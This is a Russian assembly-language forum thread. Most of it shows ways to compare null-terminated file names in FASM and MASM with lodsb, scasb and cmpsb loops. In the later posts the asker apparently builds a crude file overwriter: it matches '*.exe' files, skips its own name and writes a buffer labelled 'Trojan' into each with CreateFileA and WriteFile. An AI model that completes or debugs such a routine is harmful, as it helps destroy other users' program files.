Добрый день форумчане! Есть такой код: push Droza_name pop esi push sr.cFileName pop edi mov ecx,5 repe cmpsb je exit Droza_name и sr.cFileName содержат названия файлов. Нужно их сравнить и если это разные файлы, то прыгнуть дальше. Порылся в гугле, написал вот такой корявый код. Вроде работает. Вопрос в следующем: если я правильно понял, то в ecx содержится длина проверяемых символов имени файла. Поскольку sr.cFileName всегда _различное_ имя, как определить длину, загоняемую в ecx? Спасибо!
ukrlanser Вопрос в том какие у тебя строки? а) строки в DOS-стиле оканчивались знаком "$" б) строки в С-стиле заканчиваются 0 в) Pascal-строки в первом байте содержат длину строки, поэтому длина такой строки не может быть больше 255 г) строки Wide-pascal содержат длину строки в двух первых байтах (длина строки до 65 тысяч символов) д) Delphi-строки содержат длину строки в четырех первых байтах е) Unicode-строки заканчиваются символом двойного нуля ж) Unicode-Pascal-строки двух первых байтах содержат длину строки з) Unicode-Wide-pascal строки содержат длину строки в четырех первых байтах и) пользователь сам может определить чем должна заканчиваться его строка От этого и пляшешь
Mikl___ практически не встречается - теоретически очень редко и то для вывода сообщений имена в досе писались в аскизю
FileName db '*.exe',0 Droza_name db 'BEER.EXE',0 То есть если первые символы не совпадают, то можно смело прыгать дальше. А если совпадают, то jmp на начало цикла. А как установить для дальнейшего сравнения вторые символы строк (что-то типа [Droza_name+2]? Пишу на фасме, только начал изучать этот язык, поэтому немного путаюсь. Заранее спасибо!
ukrlanser С-строки заканчиваются нулем Код (Text): mov edi,offset FileName mov esi,offset Droza_name or ecx,-1; @@: lodsb; mov al,[esi] esi++ test al,al; проверяем на нулевой символ jz exit; строка Droza_name закончилась cmp al,[edi] jnz несовпали_строки inc edi loop @b
Код (Text): push Droza_name pop esi push sr.cFileName pop edi mov ecx,5 repe cmpsb je exit я сомневаюсь в работоспособности этого кода Код (Text): lea esi, Droza_name lea edi,sr.cFileName cmpsb jne break cmp ds:byte ptr [esi],0 je break cmp es:byte ptr [edi],0 je break ...
ukrlanser Не дочитал до конца, в #6 синтаксис masm'а для Fasm будет вот так Код (Text): mov edi,FileName mov esi,Droza_name or ecx,-1; максимально большая длина строки, чтобы не "парится" с ее вычислением @@: lodsb; mov al,[esi] esi++ test al,al; проверяем на нулевой символ jz exit; строка Droza_name закончилась cmp al,[edi] jnz несовпали_строки inc edi loop @b exit: cmp byte [edi],0 jnz строка_FileName_длинее_чем_Droza_name полное_совпадение_строк: .... строка_FileName_длинее_чем_Droza_name: .... несовпали_строки: ....
Спасибо огромное! Сработал такой код: push Droza_name pop esi push sr.cFileName pop edi or ecx,-1; @@: lodsb; mov al,[esi] esi++ test al,al; jz exit; cmp al,[edi] jnz next inc edi loop @b
Rockphorr с cmpsb можно использовать префикс rep но в ecx нужно положить какое нибудь значение можно искать ноль в одной из строк при помощи mov al,0 / rep scasb а затем перейти к rep cmpsb вариантов куча, стоит воспользоваться поиском на WASM.RU/FORUM
ukrlanser Код (Text): push Droza_name pop esi push sr.cFileName pop edi or ecx,-1; @@: lodsb cmp al,[edi] jnz несовпали inc edi test al,al; loopnz @b
Самый короткий вариант для сравнения строк Код (Text): or ecx,-1 @@: lodsb scasb jne строки_не_совпали test al,al loopnz @b строки_совпали: ... строки_не_совпали: ...
Прошу прощения, но новую тему создавать не хочется. Спрошу в этой. Есть такой код: Trojan db 'VSEMPRIVET',0 FileHandle dd ? invoke CreateFileA, sr.cFileName, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0 cmp eax, INVALID_HANDLE_VALUE je exit mov [FileHandle],eax invoke WriteFile,[FileHandle],Trojan,10,NULL,NULL Компилируется нормально, но при запуске writefile прыгает непонятно куда... Или показывает ошибку invalid_handle. В MSDN путевого ничего не нашел. Где моя ошибка?
Извиняюсь за назойливость и глупые вопросы, но... invoke WriteFileA,[FileHandle],Trojan,10,Trojan_len,NULL invoke CloseHandle,[FileHandle] При вызове closehandle программа улетает неизвестно куда, хотя перепроверил по 10 исходникам в инете. Код слово в слово. Что я неправильно сделал?
ukrlanser При закрытии инвалидного описателя ядро генерит пользовательский сепшен, передавая управление на KiRaiseUserExceptionDispatcher(), где далее доставляется #STATUS_INVALID_HANDLE. Без отладочного порта сепшена не будет, сервис непосредственно вернёт этот статус. У вас вероятно #AV, вызывает сомнение выражение [FileHandle]..
Что Вы имеете ввиду "вызывает сомнение"? Определение FileHandle или работа с ним? FileHandle dd ? invoke CreateFileA, sr.cFileName, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0 cmp eax, INVALID_HANDLE_VALUE je exit mov [FileHandle],eax invoke WriteFileA,[FileHandle],Trojan,10,Trojan_len,NULL invoke CloseHandle,[FileHandle]